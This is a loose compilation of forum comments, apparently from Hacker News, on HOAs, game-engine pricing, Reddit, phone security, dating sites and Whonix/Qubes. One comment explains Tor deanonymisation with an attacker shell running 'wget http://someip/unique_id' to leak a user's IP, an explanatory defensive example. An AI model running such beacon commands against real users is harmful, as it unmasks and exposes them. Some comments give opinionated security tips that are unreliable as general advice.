TLDR: social media shops are increasingly following the walled garden strategy. From an information searching viewpoint, this is fairly negative as search engines may eventually lose the ability to index the content in these walled gardens - and for some reason(control of what users get to see?), the in-house search capabilities of social media sites tend to be really terrible, see the whole Reddit API fiasco for example that eliminated all the good independent search tools for that site.

As far as X / Substack:

> "Substack this year and last directly targeted Twitter with launches of both a short-form Notes that looked a lot like Twitter as well as a chat feature that moved conversations off social media to its own platform. In response, Twitter stopped allowing users to retweet, like, or reply to tweets with Substack links. It makes sense that Twitter would now take on Substack with a long-form content distribution feature of its own..."

You don't just sign a contract with the HOA because most HOAs are not voluntary. There are some voluntary HOAs because they provide community amenities and you get access to those amenities when you join the HOA and possibly agree to some other restrictive covenants as well. Most HOAs you never even have to sign a contract it is written into the deed of your property that you are required to be a part of the HOA. In order to own the property you automatically are a member of the HOA and subject to all of it regulations.
Looking at Godot, doesn't seem to be as cutting-edge/fully features as Unity I guess?

I think Unity is doing this to toe-to-toe with unreal, both "big boy" engines.

There is plenty of software written in memory-unsafe languages that interacts with untrusted input: browsers are the most prominent example, but also email clients, media players, PDF viewers, archivers, IRC clients, torrent clients... not to mention all the network stack and firmware involved. iPhones and Pixels have many defense layers, both on software (sandboxing, JITCage...) and hardware (Secure Boot backed by root of trust, IOMMU for hardware isolation, PAC, PPL, MTE soon on Armv9...). The Linux desktop stack, including Linux phones, has none of this.

Linux phones might be good as a hackable/tinkering-friendly gadget, but they are definitely not secure.
1. do not use any extension, believe me they acquire all your browsing history from all tabs, no extension no worry, only use those that have higher users but review their permission
2. use enhances protection this will save you from most of the time.
makes sure do not store password on google , write them on paper
no social media login from same computer.
do not click on any ad and website, especially in email
do not use your email to sign up on different sites, use disposable

>If there's a legal consensus nobody is going to violate that.

Talking about wild speculation! Shall we have a look at all of the laws and the companies that break them that have only received slap on the wrist level fines? So clearly, there are some sort of regulations, otherwise, how would these fines be imposed? If there were no violations of those regulations, why are fines being imposed. So, your "nobody going to violate that" is already starting the conversation on shaky ground
Take a quick look at how much fortnite is making per day in 2018.

I don't completely buy the property value argument. Cities like them being high too because it means more tax revenue and they're not afraid of making bylaws to enforce it. So for example, when one gets a building permit to an exterior renovation, the city will calculate the square footage of siding vs brick before and after, with the requirement that the amount of brick doesn't decrease. Because any less lowers the property value.
> We need the utah public to wake up and vote with some intelligence to get people in power who want to and can actually make change and care about these things.

I live in Oregon where the majority of people live in a tiny corner of the state (the Portland Metro area) which is Democrat heavy. The rest of the state is mainly populated with rural Republican-leaning conservatives. The rural portion of the state is essentially constantly mimicking you about how the entire state government is controlled by Democrats and how “We need the Oregon public to wake up and vote with some intelligence to get people in power who want to and can actually make change and care about these things.” It has gotten to the point where they want the majority of the counties in the state to secede and join themselves to Idaho. Of course, there is no more chance of that happening than you trying to convince the majority conservative Utah population to not vote for conservative candidates. And, the Oregon liberal majority will keep voting for liberal candidates.

The ecosystem “just works”. I don’t have to fight and configure things to work. I haven’t used an Android device since 2015 but is there any compelling feature (on either side) to sway someone one way or another.

I’ve never understood why anyone would prefer to live in the ecosystem of the world’s largest advertiser.
The arrival of Fortnite Money has meant that Epic can afford to spend a lot more and charge a lot less for everything they do. They opened a studio in Vancouver and started hiring whoever they wanted from other companies, e.g. The Coalition, with starting salaries that made jumping ship a no-brainer for the engineers they were picking up.

For Unreal, I think it fundamentally comes down to:

1. We want to be the biggest and best game engine out there

2. We want everyone to use our technology if at all possible

3. The vast majority of our money is going to come from the top 1% of the huge players in game dev (CD Projekt Red, The Coalition) and not from anyone else

4. The more people who use Unreal to make games, the more Unreal devs there are in the world, and the more Unreal devs there, the more likely those huge companies (or potentially blockbuster indies) are to choose Unreal for their projects because talent is readily available (see point #3)

Edit: Per their court case with Apple:

https://www.theverge.com/2021/5/3/22417447/fortnite-revenue-...

They made over $5bn in profit from 2018 to 2019 from Fortnite, and $5.1bn in revenue in 2020.

You should make it clearer that this is a preview that people can't play with (it sends exactly the opposite message right now), because the design you have now is really begging for a threat that is 90% complaints. It's just the way HN is.
It's super exciting to see people using open-unmix like this! I worked with the creator of the model to try to do the same as a university project! Our solution was... not great, to say the least, but I'm happy someone else managed to do it!
When someone sinks their life into a creative pursuit that's already fraught with so much difficulty and uncertainty this kind of reaction is not surprising in the least.
Well put. I intended to reply with something like "keep simple things simple" but you gave it much more depth.

It's fair until they change it without warning. It's not a matter of if, it's a matter of when. I love Unreal, but I know it's coming.
the outrage here is vigorous and all, but does anyone consider reading the contract that you sign? Unfair legal agreements are as old as written trade. Do all the HOA members have the same contract? can you verify that somehow? How about any history of past legal matters with that HOA, public record somewhere?

not at all defending abusive HOA here, not at all.. AND you sign something and you need to know what is in there, or do not sign until you do..
Why guys who post a lot on social media are seen as less manly
A dating site could work sustainably if it was a site for planning date nights. Make profiles based on activities and swipe right or left on the activities you want to do.

Revenue sources would include:

- Ads for local businesses, classes, and events.

- Annual subscription which is cheaper after the first year and gives you discount codes to events and restaurants.

Once you get the site to work for date nights, let people be open to getting matched based on similar activity interests. Then you can solve the problem of two users finding a specific joint activity.

Would this solve the problem of finding people to have sex with? No, but computers are bad at sex.

Would this solve the problem married couples have of picking a place to eat? Hopefully.
Despite the hubris and stupidity of Reddit's management, it's still a longer lived repository of information than most people's blogs or web forums. It's also more accessible than mailing lists, Discord, or other social media sites. It's far from perfect but at least it exists.
So ridiculous regulations and requirements before a small company can get a product out. This should only apply to companies above a certain cap.
Building out tooling and even chips based on RISC-V is handing the future to China. They’re going all in because it’s an ISA that the west generated and builds support for but is free to use, which plays into their strengths of lowest cost and their ambition to own the future chips of the world.
Conversations about HOA always focus on the nit picky rule enforcement components of them (rightly because they are dumb).

But a bigger component of HOA financing is maintaining common infrastructure. The pool, party house, signage, etc. Those actually require upkeep. If the HOA doesn’t have a recourse to collect those obligations the cost of that upkeep falls unfairly on the people paying their bills.

I’m all for strict regulations on notification and making foreclosure difficult but if you sign up for an HOA it seems like you ought to understand and comply with your obligations and the HOA should have some teeth to collect.
FerretDB: MongoDB Protocol for SQLite
It's not really a solved problem in general. Most editors appear to use TextMate grammars which nobody likes. Otherwise you have to implement it using whatever custom setup your specific editor uses. It just happens that most languages have some poor soul who set this up already. Emacs is actually on the better side because tree-sitter is a much better setup for writing grammars.
So ridiculous regulations and requirements before a small company can get a product out. Not to mention, ready to use blueprints for companies in China and India. This should only apply to companies above a certain cap.
Handwriting is a good skill I suppose.

But I think the value is more in writing down your ideas, thought processes, diagrams etc. I don't have a source but I remember reading _something_ about it being a legitimate thing; that it's easier for us to remember and understand something if we've physically had to write it down.
That’s a lot of donations.

or, and hear me out, we could actually not make dating into a finacialized instrument?

Sorry but I have quite a viscerally bad reaction to such a proposal. Sure it could work in some sense of finding value price pairs or whatever where people's preferences aren't clear.

But it also seems extremely dystopian and horrifying, particularly applied to the dating market. It would be similar with finding friends. People do this naturally and normally on their own for free no problem if you put them in a big room together. It neeeds no incentive
Thank you very much; I really appreciate your feedback. This is not the first time I have heard this. The solution is to try to take as much advantage as you can from the free tier.

# Check out the free IP databases

https://ipinfo.io/products/free-ip-database

The free databases come with commercial usage permission, and because they are databases, you can make unlimited lookups from them. The databases provide full accuracy and are updated daily. They are just a subset of our IP geolocation database that only provides IP to Country information.

# Complement the database with the API service

If you only want city-level information, switch to the API service. Use the database to look up IP-to-country information as many times as you want. However, use the API service only when necessary.

Additionally, if you include a credit link to us, we will double your API limit to 100k/month. Visit https://ipinfo.io/contact/creditlink.

# Cache data

All of our API libraries have native caching support. We strongly recommend that users reduce their number of requests by caching the response. I highly recommend you check out our libraries: https://github.com/ipinfo

---

The only challenge with the free IP databases is that you need to host the database somewhere to lookup the IP to Country information. Having an API service with nearly unlimited lookups for IP to Country information will be fantastic.

If you know someone who has an IP to Country as API service please, let me know. We only require an attribution for using our database. If you have a similar service that is popular but don't want to maintain it let us know as well, we can takeover the site and host it ourselves with the IP to Country data.
As a staunch conservative, I have no idea why my fellow conservatives are into HOAs. They are a major violation of property rights.
These don't seem the same at all frankly, the unity thing seems like a blatant attempt at rent extraction. Gamepass is at least offering a genuine service in its role as middleman.
As much as I don't like the new Unity policy I think this is actually covered by the "No, in this case the developer is not distributing it so we’re not going to invoice the developer" FAQ answer given in response to a question about what happens if your game is install distributed through a subscription service like Xbox Game Pass. For a developer it might be worth getting that exact question answered in writing though.
I don't mind a city fining for unkempt lawns, and I think people who cannot abide by that should find a different city. The benefit of the municipality doing it is that they're more accountable in court and the polls. How does one contest an HOA fine?
Keep that mindset. Please. User data shouldn’t be your product. This is perfectly acceptable and thank you for doing this.
What would you replace it with? I'm in a condo and while the HOA has been a pain in the ass, I don't see who else is going to get shit done in a communal way. I guess you could say that condo's shouldn't exist, but this is the only way I could afford to live in the neighborhood that I do. We could keep going down the rabbit hole of affordable housing... but it seems like we should stick to a bit of reality here.
This is the code running this endpoint:

export function onRequest(context) {
return new Response(JSON.stringify([parseFloat(context.request.cf.longitude), parseFloat(context.request.cf.latitude)]), {headers: {"Content-Type": "application/json;charset=UTF-8"}})
}

This is a function on Cloudflare Pages (which is just a different name for Cloudflare Workers). Minor adjustment needed for Workers (get rid of "context", I believe)

Whonix/Qubes integration is excellent, and it's certainly a nice perk of Qubes.

To clarify the benefits of the "two VM" approach:

Most of the unmasking exploits against Tor users (as distinguished from unmasking Tor hidden services) involve getting a browser to ignore the proxy settings, somehow. I believe WebRTC, Flash, and various other things have been used to cause the browser to beacon out to some endpoint - you exploit the kitty picture site, and put in code to exploit the browser, which then makes a direct request to http://someip/unique_identifier - and, boom, you've got the user's IP, probable cause, the works.

This happens because a "typical" Tor install is the daemon running locally, but nothing prevents other binaries from making a direct connection out. You set the browser to use socks5://localhost:9050 or something as the proxy, but if you can either get some part of it to misbehave, or just spawn off a different process, it doesn't obey the proxy settings and goes straight out.

Whonix solves this problem by splitting the system into the workstation VM (what you interact with) and the gateway VM (that connects to Tor and "torifies" traffic). The only network port on the workstation VM is connected to the input port on the gateway VM - and everything coming in that port is routed through Tor, via the other (internet connected) port.

So, if you manage to exploit the workstation VM, the attacker still doesn't gain an IP - because they launch a shell that runs 'wget http://someip/unique_id', but that goes out through the gateway VM, and gets encapsulated into Tor before going out, so it still pops out some Tor exit node, not your home IP address.

It raises the bar rather substantially for using Tor, and avoids a lot of the various ways to get Tor to leak. Also, they ship a copy of the Tor Browser in Whonix, which disables a lot of high risk functionality and allows you to very easily disable automatic media parsing and Javascript and such.

Qubes is awesome, and the integrated Whonix stuff is just a beautiful integration.
Researchers Close in on the Elusive Neutrino
For fifteen years, I lived in a development with an HOA. It was at least as diverse as where I lived before and since. And the HOA was the least of our problems: cheap and unsound construction was the main one.
Presumably the legally-binding HOA agreement they entered when buying the home.
>The reason people like them, I've heard, is they help keep the value of your property high.

I'm starting to feel like treating homes like a investment that will continue to accumulate value instead of a place to live that everyone requires is starting to backfire.
Taiwan blasts Elon Musk for calling the island 'an integral part of China'
The part I found interesting:

With the rise of free-to-play, cloud gaming and live ops, the power (and revenue) will increasingly become concentrated among a smaller number of games companies as games production and publishing become a lower margin business (just like any business that experiences content commoditisation via streaming).

The number of installs / downloads / plays will not go down (neither will the number of gamers), but the number of developers and publishers likely will.

Hence Unity's per-download pricing decision. It is recognising tougher times ahead and de-risking against the coming consolidation of the games industry's landscape – which is, strategically speaking, sound thinking for a company that spent a lot of time and money to move towards profitability and is looking to maintain it in the current landscape.
That's mostly a contribution fee, game engines don't make a lot of money from their software, in their case the real revenue comes from Fortnite.
This is from the author of the excellent book Mastering Emacs.

I am very far from being knowledgeable about programming on the Emacs platform, but I am trying to learn. I grabbed the name M-x-AI.com a while back with the goal of integrating other people’s Emacs packages with some of my own hacks into a better AI dev work environment and writing a short book on it. I have been using Emacs since, I think, 1982. There are so many good new packages for integrating CoPilot, GPT-4, etc., as well as major Emacs platform improvements that are too many to list.
Hey guys!

I'm excited to share our newest release of cleanlab which helps you clean data and labels by automatically detecting issues in a ML dataset. To facilitate machine learning with messy, real-world data, this data-centric AI package uses your existing models to estimate dataset problems that can be fixed to train even better models.

With this release, it now supports:
- Regression (NEW)
- Object detection (NEW)
- Image segmentation (NEW)
- Outlier detection
- Binary, multi-class, and multi-label classification
- Token classification
- Classification with data labeled by multiple annotators
- Active learning with multiple annotators

Let’s make AI more data-centric :)
Sure, but that's not what parent said. He said it only runs on "intel macOS", which is false. It works on non-Apple computers as well.

But I understand the miscommunication, parent meant to say "of the Apple computers, it only runs on Intel ones". There is a world outside of Apple, you know :-)
How do people using Blueprints deal with:

- Find and replace a variable

- Change a variables type

- Merging changes from multiple commits

- Refactoring

- Finding all references

I'm a fan of visual coding and use it extensively in YWDHT but have found the above challenging. I'm curious how Blueprints solves these issues, especially for larger teams.
How do you run a GUI with a container? Xorg server running in the container?
That’s the critical point - in theory this idea is fine.

In reality other ways of solving the same problem have a decade of industry knowledge, frameworks and tooling behind them.

Is the marginal gain from this approach being a slightly better conceptual match for a given problem than the “normal way” worth throwing away all of that and starting again for?

Definitely not in my opinion. You’ll need to spend so much effort on the tooling and lessons before you’re at the point where you can see that marginal gain appear.
